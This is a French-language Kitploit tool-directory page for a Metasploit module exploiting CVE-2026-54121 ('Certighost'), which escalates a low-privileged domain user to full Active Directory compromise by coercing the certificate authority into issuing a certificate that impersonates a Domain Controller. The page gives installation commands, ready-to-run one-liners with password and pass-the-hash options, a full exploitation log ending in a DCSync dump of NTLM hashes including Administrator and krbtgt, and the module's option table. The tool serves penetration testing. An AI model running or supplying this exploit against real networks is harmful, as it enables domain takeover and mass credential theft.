Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Metasploit-CVE-2026-54121-Certighost — A Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller. | Kitploit
Outils/GitHubGitHub/nafiez/metasploit-cve-2026-54121-certighost
Privilege EscalationExploit FrameworksExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubnafiez/metasploit-cve-2026-54121-certighost

Metasploit-CVE-2026-54121-Certighost

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

3il y a 20 joursPas encore vérifié

A Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller.

Partager

Metasploit-CVE-2026-54121-Certighost

Certighost a été découvert et exploité à l'origine par h0j3n et Aniq Fakhrul. Ce dépôt contient un module auxiliaire Metasploit qui permet d'élever les privilèges d'un utilisateur de domaine à faibles privilèges jusqu'à la compromission totale du domaine en abusant du repli « chase » de l'inscription AD CS. L'AC peut être contrainte de s'authentifier auprès d'une infrastructure contrôlée par l'attaquant, puis de délivrer un certificat qui usurpe l'identité d'un contrôleur de domaine. Ce certificat est utilisé pour PKINIT, UnPAC-the-hash récupère le hash NT du DC, et DCSync fait le reste.

Installation

root@kitploit:~
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/

Vérifiez qu'il est syntaxiquement valide et chargé :

root@kitploit:~
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
root@kitploit:~
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"

Les ports 389 et 445 sont privilégiés, le module doit donc être exécuté en tant que root.

Utilisation

Authentification par mot de passe

Commande MSF en une ligne

root@kitploit:~
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 

En exécutant msfconsole

root@kitploit:~
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run

Pass-the-hash

Commande MSF en une ligne

root@kitploit:~
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"

En exécutant msfconsole

root@kitploit:~
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run

NTLM_HASH accepte un hash NT seul, :NT, ou LM:NT. Lorsque PASSWORD et NTLM_HASH sont tous deux définis, le hash l'emporte.

Certificat uniquement

Utile lorsque vous voulez le certificat pour une utilisation hors ligne ou ultérieure :

root@kitploit:~
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

Exemples

Exploitation réussie

root@kitploit:~
$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for [email protected]
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed

Options

root@kitploit:~
msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ACCOUNT_NAME                          no        The account name
   ACCOUNT_PASSWORD                      no        The password for the new account
   ADD_CERT_APP_POLICY                   no        Add certificate application policy OIDs
   ALT_DNS                               no        Alternative certificate DNS
   ALT_SID                               no        Alternative object SID
   ALT_UPN                               no        Alternative certificate UPN (format: USER@DOMAIN)
   CA_IP                                 no        CA IP (auto-discovered if empty)
   CA_NAME                               no        CA name (auto-discovered if empty)
   CERT_TEMPLATE        User             yes       The certificate template
   CLEANUP_ACCOUNT      true             no        Delete the machine account when finished. Needs privileged credentials: the accoun
                                                   t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
                                                    recovered by DCSync is used automatically
   CLEANUP_HASH                          no        LM:NT or NT hash for CLEANUP_USER (pass-the-hash)
   CLEANUP_PASS                          no        Password for CLEANUP_USER
   CLEANUP_USER                          no        Account used to delete the machine account (defaults to the Administrator hash rec
                                                   overed by DCSync, else USERNAME)
   DC_IP                                 yes       Domain Controller IP
   DOMAIN                                yes       Target domain FQDN (e.g., abc.local)
   LDAPDomain                            no        The domain to authenticate to
   LDAPPassword                           no        The password to authenticate with
   LDAPUsername                           no        The username to authenticate with
   LISTENER                              no        Attacker IP for rogue services (auto-detected if empty)
   NTLM_HASH                             no        NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
   NTLM_VALIDATE        true             no        Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
                                                   t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,
                                                   but fails if the CA insists on signing
   ON_BEHALF_OF                          no        Username to request on behalf of (format: DOMAIN\USER)
   OUTPUT_DIR                            no        Directory for the .pfx and .ccache files (defaults to the current working director
                                                   y)
   PASSWORD                              no        User password (required unless NTLM_HASH is set)
   PFX                                   no        Certificate to request on behalf of
   RHOSTS                                no        Target host (auto-set from DC_IP)
   ROGUE_LDAP_PORT      389              no        Port for rogue LDAP server (CA defaults to 389)
   ROGUE_SMB_PORT       445              no        Port for rogue SMB/LSA server (CA defaults to 445)
   RPORT                389              yes       The target port (TCP)
   SMBDomain                             no        The Windows domain to use for authentication
   SMBPass                               no        The password for the specified username
   SMBUser                               no        The username to authenticate as
   SSL                  false            no        Enable SSL on the LDAP connection
   TARGET_DC                             no        Target DC sAMAccountName to impersonate (auto-discovered if empty)
   TEMPLATE             Machine          yes       Certificate template
   TIMEOUT              10               no        Seconds to wait for rogue servers to receive connections
   Timeout              10               yes       The TCP timeout to establish Kerberos connection and read data
   USERNAME                              yes       Low-privilege domain user


Auxiliary action:

   Name  Description
   ----  -----------
   FULL  Full attack: certificate + PKINIT + DCSync


View the full module info with the info, or info -d command.

Références

  • Analyse technique — H0j3n
  • PoC original — aniqfakhrul
  • CVE-2026-54121
Télécharger l’outil